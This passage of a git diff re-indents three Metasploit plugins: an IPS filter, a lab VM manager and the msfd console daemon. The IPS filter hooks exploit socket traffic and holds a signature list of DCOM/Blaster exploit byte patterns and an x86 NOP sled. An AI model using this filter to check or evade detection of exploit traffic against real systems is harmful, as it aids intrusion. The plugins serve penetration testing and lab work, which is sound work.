param.context - end - end - end - - - def initialize(framework, opts) - super - @ips_eh = IPSSocketEventHandler.new - Rex::Socket::Comm::Local.register_event_handler(@ips_eh) - end - - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@ips_eh) - end - - def name - "ips_filter" - end - - def desc - "Scans all outgoing data to see if it matches a known IPS signature" - end + ### + # + # This class implements a socket communication logger + # + ### + class IPSSocketEventHandler + include Rex::Socket::Comm::Events + + def on_before_socket_create(comm, param) + end + + def on_socket_created(comm, sock, param) + # Sockets created by the exploit have MsfExploit set and MsfPayload not set + if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + sock.extend(IPSFilter::SocketTracer) + sock.context = param.context + end + end + end + + + def initialize(framework, opts) + super + @ips_eh = IPSSocketEventHandler.new + Rex::Socket::Comm::Local.register_event_handler(@ips_eh) + end + + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@ips_eh) + end + + def name + "ips_filter" + end + + def desc + "Scans all outgoing data to see if it matches a known IPS signature" + end protected end @@ -63,57 +63,57 @@ def desc module IPSFilter module SocketTracer - attr_accessor :context - - # Hook the write method - def write(buf, opts = {}) - if (ips_match(buf)) - print_error "Outbound write blocked due to possible signature match" - return 0 - end - super(buf, opts) - end - - # Hook the read method - def read(length = nil, opts = {}) - r = super(length, opts) - if (ips_match(r)) - print_error "Incoming read may match a known signature" - end - return r - end - - def close(*args) - super(*args) - end - - def ips_match(data) - lp = localport - rp = peerport - - SIGS.each do |s| - begin - r = Regexp.new(s[1]) - if (data.match(r)) - print_error "Matched IPS signature #{s[0]}" - return true - end - rescue ::Exception => e - print_error "Compiled error: #{s[1]}" - end - end - - return false - end - - # Extend this as needed :-) - SIGS = - [ - ['DCOM.C', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], - ['BLASTER', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], - ['REMACT', ".*\xb8\x4a\x9f\x4d\x1c\\}\xcf\x11\x86\x1e\x00\x20\xaf\x6e.*"], - ['x86 NOP SLED', "\x90\x90"], - ] + attr_accessor :context + + # Hook the write method + def write(buf, opts = {}) + if (ips_match(buf)) + print_error "Outbound write blocked due to possible signature match" + return 0 + end + super(buf, opts) + end + + # Hook the read method + def read(length = nil, opts = {}) + r = super(length, opts) + if (ips_match(r)) + print_error "Incoming read may match a known signature" + end + return r + end + + def close(*args) + super(*args) + end + + def ips_match(data) + lp = localport + rp = peerport + + SIGS.each do |s| + begin + r = Regexp.new(s[1]) + if (data.match(r)) + print_error "Matched IPS signature #{s[0]}" + return true + end + rescue ::Exception => e + print_error "Compiled error: #{s[1]}" + end + end + + return false + end + + # Extend this as needed :-) + SIGS = + [ + ['DCOM.C', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], + ['BLASTER', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], + ['REMACT', ".*\xb8\x4a\x9f\x4d\x1c\\}\xcf\x11\x86\x1e\x00\x20\xaf\x6e.*"], + ['x86 NOP SLED', "\x90\x90"], + ] end end diff --git a/plugins/lab.rb b/plugins/lab.rb index 4e588f062232..dee4a8a2f0b9 100644 --- a/plugins/lab.rb +++ b/plugins/lab.rb @@ -10,568 +10,568 @@ module Msf class Plugin::Lab < Msf::Plugin - class LabCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - attr_accessor :controller - - def initialize(driver) - super(driver) - @controller = nil - - # - # Require the lab gem, but fail nicely if it's not there. - # - begin - require 'lab' - rescue LoadError - raise "WARNING: Lab gem not found, Please 'gem install lab'" - end - - end - - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "lab_help" => "lab_help - Show that command's description.", - "lab_show" => "lab_show - show all vms in the lab.", - "lab_search" => "lab_search - search local vms in the lab.", - "lab_search_tags" => "lab_search_tag - search local vms in the lab.", - #"lab_search_remote" => "lab_search_remote - search remote vms in the lab.", - "lab_show_running" => "lab_show_running - show running vms.", - "lab_load" => "lab_load [file] - load a lab definition from disk.", - "lab_save" => "lab_save [filename] - persist a lab definition in a file.", - "lab_load_running" => "lab_load_running [type] [user] [host] - use the running vms to create a lab.", - "lab_load_config" => "lab_load_config [type] [user] [host] - use the vms in the config to create a lab.", - "lab_load_dir" => "lab_load_dir [type] [directory] - create a lab from a specified directory.", - "lab_clear" => "lab_clear - clear the running lab.", - "lab_start" => "lab_start [vmid+|all] start the specified vm.", - "lab_reset" => "lab_reset [vmid+|all] reset the specified vm.", - "lab_suspend" => "lab_suspend [vmid+|all] suspend the specified vm.", - "lab_stop" => "lab_stop [vmid+|all] stop the specified vm.", - "lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.", - "lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.", - "lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.", - "lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.", - "lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri." - } - end - - def name - "Lab" - end - - ## - ## Regular Lab Commands - ## - - def cmd_lab_load(*args) - return lab_usage unless args.count == 1 - - res = args[0] - good_res = nil - if (File.file? res and File.readable? res) - # then the provided argument is an absolute path and is gtg. - good_res = res - elsif - # let's check to see if it's in the data/lab dir (like when tab completed) - [ - ::Msf::Config.data_directory + File::SEPARATOR + "lab", - # there isn't a user_data_directory, but could use: - #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" - ].each do |dir| - res_path = dir + File::SEPARATOR + res - if (File.file?(res_path) and File.readable?(res_path)) - good_res = res_path - break - end - end - end - if good_res - @controller.from_file(good_res) - else - print_error("#{res} is not a valid lab definition file (.yml)") - end - end - - # - # Tab completion for the lab_load command - # - def cmd_lab_load_tabs(str, words) - tabs = [] - #return tabs if words.length > 1 - if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) - # then you are probably specifying a full path so let's just use normal file completion - return tab_complete_filenames(str,words) - elsif (not words[1] or not words[1].match(/^\//)) - # then let's start tab completion in the data/lab directory - begin - [ - ::Msf::Config.data_directory + File::SEPARATOR + "lab", - # there isn't a user_data_directory, but could use: - #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" - ].each do |dir| - next if not ::File.exist? dir - tabs += ::Dir.new(dir).find_all { |e| - path = dir + File::SEPARATOR + e - ::File.file?(path) and File.readable?(path) - } - end - rescue Exception - end - else - tabs += tab_complete_filenames(str,words) - end - return tabs - end - - def cmd_lab_load_dir(*args) - return lab_usage unless args.count == 2 - @controller.build_from_dir(args[0],args[1],true) - end - - def cmd_lab_clear(*args) - @controller.clear! - end - - def cmd_lab_save(*args) - return lab_usage if args.empty? - @controller.to_file(args[0]) - end - - def cmd_lab_load_running(*args) - return lab_usage if args.empty? - - if args[0] =~ /^remote_/ - return lab_usage unless args.count == 3 - ## Expect a username & password - @controller.build_from_running(args[0], args[1], args[2]) - else - return lab_usage unless args.count == 1 - @controller.build_from_running(args[0]) - end - end - - def cmd_lab_load_config(*args) - return lab_usage if args.empty? - - if args[0] =~ /^remote_/ - return lab_usage unless args.count == 3 - ## Expect a username & password - @controller.build_from_config(args[0], args[1], args[2]) - else - return lab_usage unless args.count == 1 - @controller.build_from_config(args[0]) - end - end - - def cmd_lab_load_dir(*args) - return lab_usage unless args.count == 2 - @controller.build_from_dir(args[0],args[1],true) - end - - def cmd_lab_clear(*args) - @controller.clear! - end - - def cmd_lab_save(*args) - return lab_usage if args.empty? - @controller.to_file(args[0]) - end - - - ## - ## Commands for dealing with a currently-loaded lab - ## - def cmd_lab_show(*args) - if args.empty? - hlp_print_lab - else - args.each do |name| - if @controller.includes_hostname? name - print_line @controller[name].to_yaml - else - print_error "Unknown vm '#{name}'" - end - end - end - end - - def cmd_lab_show_running(*args) - hlp_print_lab_running - end - - - def cmd_lab_search(*args) - if args.empty? - hlp_print_lab - else - args.each do |arg| - print_line "Searching for vms with hostname matching #{arg}" - @controller.each do |vm| - print_line "checking to see #{vm.hostname} matches #{arg}" - print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg) - end - end - end - end - - def cmd_lab_search_tags(*args) - if args.empty? - hlp_print_lab - else - args.each do |arg| - print_line "Searching for vms with tags matching #{arg}" - @controller.each do |vm| - print_line "checking to see #{vm.hostname} is tagged #{arg}" - print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg) - end - end - end - end - - - def cmd_lab_start(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each do |vm| - print_line "Starting lab vm #{vm.hostname}." - if !vm.running? - vm.start - else - print_line "Lab vm #{vm.hostname} already running." - end - end - else - args.each do |arg| - if @controller.includes_hostname? arg - vm = @controller.find_by_hostname(arg) - if !vm.running? - print_line "Starting lab vm #{vm.hostname}." - vm.start - else - print_line "Lab vm #{vm.hostname} already running." - end - end - end - end - end - - def cmd_lab_stop(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each do |vm| - print_line "Stopping lab vm #{vm.hostname}." - if vm.running? - vm.stop - else - print_line "Lab vm #{vm.hostname} not running." - end - end - else - args.each do |arg| - if @controller.includes_hostname? arg - vm = @controller.find_by_hostname(arg) - if vm.running? - print_line "Stopping lab vm #{vm.hostname}." - vm.stop - else - print_line "Lab vm #{vm.hostname} not running." - end - end - end - end - end - - def cmd_lab_suspend(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each{ |vm| vm.suspend } - else - args.each do |arg| - if @controller.includes_hostname? arg - if @controller.find_by_hostname(arg).running? - print_line "Suspending lab vm #{arg}." - @controller.find_by_hostname(arg).suspend - end - end - end - end - end - - def cmd_lab_reset(*args) - return lab_usage if args.empty? - - if args[0] == "all" - print_line "Resetting all lab vms." - @controller.each{ |vm| vm.reset } - else - args.each do |arg| - if @controller.includes_hostname? arg - if @controller.find_by_hostname(arg).running? - print_line "Resetting lab vm #{arg}." - @controller.find_by_hostname(arg).reset - end - end - end - end - end - - - def cmd_lab_snapshot(*args) - return lab_usage if args.count < 2 - snapshot = args[args.count-1] - - if args[0] == "all" - print_line "Snapshotting all lab vms to snapshot: #{snapshot}." - @controller.each{ |vm| vm.create_snapshot(snapshot) } - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}." - @controller[name_arg].create_snapshot(snapshot) - end - end - end - - - def cmd_lab_revert(*args) - return lab_usage if args.count < 2 - snapshot = args[args.count-1] - - if args[0] == "all" - print_line "Reverting all lab vms to snapshot: #{snapshot}." - @controller.each{ |vm| vm.revert_snapshot(snapshot) } - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - print_line "Reverting #{name_arg} to snapshot: #{snapshot}." - @controller[name_arg].revert_snapshot(snapshot) - end - end - end - - - def cmd_lab_run_command(*args) - return lab_usage if args.empty? - command = args[args.count-1] - if args[0] == "all" - print_line "Running command #{command} on all vms." - @controller.each do |vm| - if vm.running? - print_line "#{vm.hostname} running command: #{command}." - vm.run_command(command) - end - end - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - if @controller[name_arg].running? - print_line "#{name_arg} running command: #{command}." - @controller[name_arg].run_command(command) - end - end - end - end - - # - # Command: lab_upload [vmids] [from] [to] - # - # Description: Uploads a file to the guest(s) - # - # Quirks: Pass "all" as a vmid to have it operate on all vms. - # - def cmd_lab_upload(*args) - return lab_usage if args.empty? - return lab_usage if args.count < 3 - - local_path = args[args.count-2] - vm_path = args[args.count-1] - - if args[0] == "all" - @controller.each do |vm| - if vm.running? - print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}" - vm.copy_to_guest(local_path, vm_path) - end - end - else - args[0..-2].each do |vmid_arg| - next unless @controller.includes_hostname? vmid_arg - if @controller[vmid_arg].running? - print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}" - @controller[vmid_arg].copy_to_guest(local_path, vm_path) - end - end - end - end - - def cmd_lab_browse_to(*args) - return lab_usage if args.empty? - uri = args[args.count-1] - if args[0] == "all" - print_line "Opening: #{uri} on all vms." - @controller.each do |vm| - if vm.running? - print_line "#{vm.hostname} opening to uri: #{uri}." - vm.open_uri(uri) - end - end - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - if @controller[name_arg].running? - print_line "#{name_arg} opening to uri: #{uri}." - @controller[name_arg].open_uri(uri) - end - end - end - end - - - ## - ## Commands for help - ## - - def longest_cmd_size - commands.keys.map {|x| x.size}.sort.last - end - - # No extended help yet, but this is where more detailed documentation - # on particular commands would live. Key is command, (not cmd_command), - # value is the documentation. - def extended_help - { - "lab_fake_cmd" => "This is a fake command. It's got its own special docs." + - (" " * longest_cmd_size) + "It might be long so so deal with formatting somehow." - } - end - - # Map for usages - def lab_usage - caller[0][/`cmd_(.*)'/] - cmd = $1 - if extended_help[cmd] || commands[cmd] - cmd_lab_help cmd - else # Should never really get here... - print_error "Unknown command. Try 'help'" - end - end - - def cmd_lab_help(*args) - if args.empty? - commands.each_pair {|k,v| print_line "%-#{longest_cmd_size}s - %s" % [k,v] } - else - args.each do |c| - if extended_help[c] || commands[c] - print_line "%-#{longest_cmd_size}s - %s" % [c,extended_help[c] || commands[c]] - else - print_error "Unknown command '#{c}'" - end - end - end - - print_line - print_line "In order to use this plugin, you'll want to configure a .yml lab file" - print_line "You can find an example in data/lab/test_targets.yml" - print_line - end - - - private - def hlp_print_lab - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Available Lab VMs', - 'Indent' => indent.length, - 'Columns' => [ 'Hostname', 'Driver', 'Type' ] - ) - - @controller.each do |vm| - tbl << [ vm.hostname, - vm.driver.class, - vm.type] - end - - print_line tbl.to_s - end - - def hlp_print_lab_running - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Running Lab VMs', - 'Indent' => indent.length, - 'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ] - ) - - @controller.each do |vm| - if vm.running? - tbl << [ vm.hostname, - vm.driver.class, - vm.type, - vm.running?] - end - end - print_line tbl.to_s - end - - - end - - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - attr_accessor :controller - - def initialize(framework, opts) - super - - ## Register the commands above - console_dispatcher = add_console_dispatcher(LabCommandDispatcher) - - @controller = ::Lab::Controllers::VmController.new - - ## Share the vms - console_dispatcher.controller = @controller - end - - - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Lab') - end - - # - # This method returns a short, friendly name for the plugin. - # - def name - "lab" - end - - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Adds the ability to manage VMs" - end + class LabCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + attr_accessor :controller + + def initialize(driver) + super(driver) + @controller = nil + + # + # Require the lab gem, but fail nicely if it's not there. + # + begin + require 'lab' + rescue LoadError + raise "WARNING: Lab gem not found, Please 'gem install lab'" + end + + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "lab_help" => "lab_help - Show that command's description.", + "lab_show" => "lab_show - show all vms in the lab.", + "lab_search" => "lab_search - search local vms in the lab.", + "lab_search_tags" => "lab_search_tag - search local vms in the lab.", + #"lab_search_remote" => "lab_search_remote - search remote vms in the lab.", + "lab_show_running" => "lab_show_running - show running vms.", + "lab_load" => "lab_load [file] - load a lab definition from disk.", + "lab_save" => "lab_save [filename] - persist a lab definition in a file.", + "lab_load_running" => "lab_load_running [type] [user] [host] - use the running vms to create a lab.", + "lab_load_config" => "lab_load_config [type] [user] [host] - use the vms in the config to create a lab.", + "lab_load_dir" => "lab_load_dir [type] [directory] - create a lab from a specified directory.", + "lab_clear" => "lab_clear - clear the running lab.", + "lab_start" => "lab_start [vmid+|all] start the specified vm.", + "lab_reset" => "lab_reset [vmid+|all] reset the specified vm.", + "lab_suspend" => "lab_suspend [vmid+|all] suspend the specified vm.", + "lab_stop" => "lab_stop [vmid+|all] stop the specified vm.", + "lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.", + "lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.", + "lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.", + "lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.", + "lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri." + } + end + + def name + "Lab" + end + + ## + ## Regular Lab Commands + ## + + def cmd_lab_load(*args) + return lab_usage unless args.count == 1 + + res = args[0] + good_res = nil + if (File.file? res and File.readable? res) + # then the provided argument is an absolute path and is gtg. + good_res = res + elsif + # let's check to see if it's in the data/lab dir (like when tab completed) + [ + ::Msf::Config.data_directory + File::SEPARATOR + "lab", + # there isn't a user_data_directory, but could use: + #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" + ].each do |dir| + res_path = dir + File::SEPARATOR + res + if (File.file?(res_path) and File.readable?(res_path)) + good_res = res_path + break + end + end + end + if good_res + @controller.from_file(good_res) + else + print_error("#{res} is not a valid lab definition file (.yml)") + end + end + + # + # Tab completion for the lab_load command + # + def cmd_lab_load_tabs(str, words) + tabs = [] + #return tabs if words.length > 1 + if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) + # then you are probably specifying a full path so let's just use normal file completion + return tab_complete_filenames(str,words) + elsif (not words[1] or not words[1].match(/^\//)) + # then let's start tab completion in the data/lab directory + begin + [ + ::Msf::Config.data_directory + File::SEPARATOR + "lab", + # there isn't a user_data_directory, but could use: + #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" + ].each do |dir| + next if not ::File.exist? dir + tabs += ::Dir.new(dir).find_all { |e| + path = dir + File::SEPARATOR + e + ::File.file?(path) and File.readable?(path) + } + end + rescue Exception + end + else + tabs += tab_complete_filenames(str,words) + end + return tabs + end + + def cmd_lab_load_dir(*args) + return lab_usage unless args.count == 2 + @controller.build_from_dir(args[0],args[1],true) + end + + def cmd_lab_clear(*args) + @controller.clear! + end + + def cmd_lab_save(*args) + return lab_usage if args.empty? + @controller.to_file(args[0]) + end + + def cmd_lab_load_running(*args) + return lab_usage if args.empty? + + if args[0] =~ /^remote_/ + return lab_usage unless args.count == 3 + ## Expect a username & password + @controller.build_from_running(args[0], args[1], args[2]) + else + return lab_usage unless args.count == 1 + @controller.build_from_running(args[0]) + end + end + + def cmd_lab_load_config(*args) + return lab_usage if args.empty? + + if args[0] =~ /^remote_/ + return lab_usage unless args.count == 3 + ## Expect a username & password + @controller.build_from_config(args[0], args[1], args[2]) + else + return lab_usage unless args.count == 1 + @controller.build_from_config(args[0]) + end + end + + def cmd_lab_load_dir(*args) + return lab_usage unless args.count == 2 + @controller.build_from_dir(args[0],args[1],true) + end + + def cmd_lab_clear(*args) + @controller.clear! + end + + def cmd_lab_save(*args) + return lab_usage if args.empty? + @controller.to_file(args[0]) + end + + + ## + ## Commands for dealing with a currently-loaded lab + ## + def cmd_lab_show(*args) + if args.empty? + hlp_print_lab + else + args.each do |name| + if @controller.includes_hostname? name + print_line @controller[name].to_yaml + else + print_error "Unknown vm '#{name}'" + end + end + end + end + + def cmd_lab_show_running(*args) + hlp_print_lab_running + end + + + def cmd_lab_search(*args) + if args.empty? + hlp_print_lab + else + args.each do |arg| + print_line "Searching for vms with hostname matching #{arg}" + @controller.each do |vm| + print_line "checking to see #{vm.hostname} matches #{arg}" + print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg) + end + end + end + end + + def cmd_lab_search_tags(*args) + if args.empty? + hlp_print_lab + else + args.each do |arg| + print_line "Searching for vms with tags matching #{arg}" + @controller.each do |vm| + print_line "checking to see #{vm.hostname} is tagged #{arg}" + print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg) + end + end + end + end + + + def cmd_lab_start(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each do |vm| + print_line "Starting lab vm #{vm.hostname}." + if !vm.running? + vm.start + else + print_line "Lab vm #{vm.hostname} already running." + end + end + else + args.each do |arg| + if @controller.includes_hostname? arg + vm = @controller.find_by_hostname(arg) + if !vm.running? + print_line "Starting lab vm #{vm.hostname}." + vm.start + else + print_line "Lab vm #{vm.hostname} already running." + end + end + end + end + end + + def cmd_lab_stop(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each do |vm| + print_line "Stopping lab vm #{vm.hostname}." + if vm.running? + vm.stop + else + print_line "Lab vm #{vm.hostname} not running." + end + end + else + args.each do |arg| + if @controller.includes_hostname? arg + vm = @controller.find_by_hostname(arg) + if vm.running? + print_line "Stopping lab vm #{vm.hostname}." + vm.stop + else + print_line "Lab vm #{vm.hostname} not running." + end + end + end + end + end + + def cmd_lab_suspend(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each{ |vm| vm.suspend } + else + args.each do |arg| + if @controller.includes_hostname? arg + if @controller.find_by_hostname(arg).running? + print_line "Suspending lab vm #{arg}." + @controller.find_by_hostname(arg).suspend + end + end + end + end + end + + def cmd_lab_reset(*args) + return lab_usage if args.empty? + + if args[0] == "all" + print_line "Resetting all lab vms." + @controller.each{ |vm| vm.reset } + else + args.each do |arg| + if @controller.includes_hostname? arg + if @controller.find_by_hostname(arg).running? + print_line "Resetting lab vm #{arg}." + @controller.find_by_hostname(arg).reset + end + end + end + end + end + + + def cmd_lab_snapshot(*args) + return lab_usage if args.count < 2 + snapshot = args[args.count-1] + + if args[0] == "all" + print_line "Snapshotting all lab vms to snapshot: #{snapshot}." + @controller.each{ |vm| vm.create_snapshot(snapshot) } + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}." + @controller[name_arg].create_snapshot(snapshot) + end + end + end + + + def cmd_lab_revert(*args) + return lab_usage if args.count < 2 + snapshot = args[args.count-1] + + if args[0] == "all" + print_line "Reverting all lab vms to snapshot: #{snapshot}." + @controller.each{ |vm| vm.revert_snapshot(snapshot) } + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + print_line "Reverting #{name_arg} to snapshot: #{snapshot}." + @controller[name_arg].revert_snapshot(snapshot) + end + end + end + + + def cmd_lab_run_command(*args) + return lab_usage if args.empty? + command = args[args.count-1] + if args[0] == "all" + print_line "Running command #{command} on all vms." + @controller.each do |vm| + if vm.running? + print_line "#{vm.hostname} running command: #{command}." + vm.run_command(command) + end + end + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + if @controller[name_arg].running? + print_line "#{name_arg} running command: #{command}." + @controller[name_arg].run_command(command) + end + end + end + end + + # + # Command: lab_upload [vmids] [from] [to] + # + # Description: Uploads a file to the guest(s) + # + # Quirks: Pass "all" as a vmid to have it operate on all vms. + # + def cmd_lab_upload(*args) + return lab_usage if args.empty? + return lab_usage if args.count < 3 + + local_path = args[args.count-2] + vm_path = args[args.count-1] + + if args[0] == "all" + @controller.each do |vm| + if vm.running? + print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}" + vm.copy_to_guest(local_path, vm_path) + end + end + else + args[0..-2].each do |vmid_arg| + next unless @controller.includes_hostname? vmid_arg + if @controller[vmid_arg].running? + print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}" + @controller[vmid_arg].copy_to_guest(local_path, vm_path) + end + end + end + end + + def cmd_lab_browse_to(*args) + return lab_usage if args.empty? + uri = args[args.count-1] + if args[0] == "all" + print_line "Opening: #{uri} on all vms." + @controller.each do |vm| + if vm.running? + print_line "#{vm.hostname} opening to uri: #{uri}." + vm.open_uri(uri) + end + end + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + if @controller[name_arg].running? + print_line "#{name_arg} opening to uri: #{uri}." + @controller[name_arg].open_uri(uri) + end + end + end + end + + + ## + ## Commands for help + ## + + def longest_cmd_size + commands.keys.map {|x| x.size}.sort.last + end + + # No extended help yet, but this is where more detailed documentation + # on particular commands would live. Key is command, (not cmd_command), + # value is the documentation. + def extended_help + { + "lab_fake_cmd" => "This is a fake command. It's got its own special docs." + + (" " * longest_cmd_size) + "It might be long so so deal with formatting somehow." + } + end + + # Map for usages + def lab_usage + caller[0][/`cmd_(.*)'/] + cmd = $1 + if extended_help[cmd] || commands[cmd] + cmd_lab_help cmd + else # Should never really get here... + print_error "Unknown command. Try 'help'" + end + end + + def cmd_lab_help(*args) + if args.empty? + commands.each_pair {|k,v| print_line "%-#{longest_cmd_size}s - %s" % [k,v] } + else + args.each do |c| + if extended_help[c] || commands[c] + print_line "%-#{longest_cmd_size}s - %s" % [c,extended_help[c] || commands[c]] + else + print_error "Unknown command '#{c}'" + end + end + end + + print_line + print_line "In order to use this plugin, you'll want to configure a .yml lab file" + print_line "You can find an example in data/lab/test_targets.yml" + print_line + end + + + private + def hlp_print_lab + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Available Lab VMs', + 'Indent' => indent.length, + 'Columns' => [ 'Hostname', 'Driver', 'Type' ] + ) + + @controller.each do |vm| + tbl << [ vm.hostname, + vm.driver.class, + vm.type] + end + + print_line tbl.to_s + end + + def hlp_print_lab_running + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Running Lab VMs', + 'Indent' => indent.length, + 'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ] + ) + + @controller.each do |vm| + if vm.running? + tbl << [ vm.hostname, + vm.driver.class, + vm.type, + vm.running?] + end + end + print_line tbl.to_s + end + + + end + + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + attr_accessor :controller + + def initialize(framework, opts) + super + + ## Register the commands above + console_dispatcher = add_console_dispatcher(LabCommandDispatcher) + + @controller = ::Lab::Controllers::VmController.new + + ## Share the vms + console_dispatcher.controller = @controller + end + + + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Lab') + end + + # + # This method returns a short, friendly name for the plugin. + # + def name + "lab" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds the ability to manage VMs" + end end ## End Class end ## End Module diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 98b13ce1c515..3f7e27f4fd11 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -20,144 +20,144 @@ module Msf ### class Plugin::Msfd < Msf::Plugin - # - # The default local hostname that the server listens on. - # - DefaultHost = "127.0.0.1" - - # - # The default local port that the server listens on. - # - DefaultPort = 55554 - - # - # Initializes the msfd plugin. The following options are supported in the - # hash by this plugin: - # - # ServerHost - # - # The local hostname to listen on for connections. The default is - # 127.0.0.1. - # - # ServerPort - # - # The local port to listen on for connections. The default is 55554. - # - # SSL - # - # Use SSL - # - # RunInForeground - # - # Instructs the plugin to now execute the daemon in a worker thread and to - # instead allow the caller to manage executing the daemon through the - # ``run'' method. - # - # HostsAllowed - # - # List of hosts (in NBO) allowed to use msfd - # - # HostsDenied - # - # List of hosts (in NBO) not allowed to use msfd - # - def initialize(framework, opts) - super - - # Start listening for connections. - self.server = Rex::Socket::TcpServer.create( - 'LocalHost' => opts['ServerHost'] || DefaultHost, - 'LocalPort' => opts['ServerPort'] || DefaultPort, - 'SSL' => opts['SSL']) - - # If the run in foreground flag is not specified, then go ahead and fire - # it off in a worker thread. - if (opts['RunInForeground'] != true) - Thread.new { - run(opts) - } - end - end - - # - # Returns 'msfd' - # - def name - "msfd" - end - - # - # Returns the msfd plugin description. - # - def desc - "Provides a console interface to users over a listening TCP port." - end - - # - # Runs the msfd plugin by blocking on new connections and then spawning - # threads to handle the console interface for each client. - # - def run(opts={}) - while true - client = server.accept - - addr = Rex::Socket.resolv_nbo(client.peerhost) - - if opts['HostsAllowed'] and - not opts['HostsAllowed'].find { |x| x == addr } - client.close - next - end - - if opts['HostsDenied'] and - opts['HostsDenied'].find { |x| x == addr } - client.close - next - end - msg = "Msfd: New connection from #{client.peerhost}" - ilog(msg, 'core') - print_status(msg) - - # Spawn a thread for the client connection - Thread.new(client) { |cli| - begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - 'Framework' => framework, - 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), - 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), - 'AllowCommandPassthru' => false).run - rescue - elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') - ensure - msg = "Msfd: Closing client connection with #{cli.peerhost}" - ilog(msg, 'core') - print_status(msg) - begin - cli.shutdown - cli.close - rescue IOError - end - end - } - end - end - - # - # Closes the listener service. - # - def cleanup - ilog("Msfd: Shutting down server", 'core') - 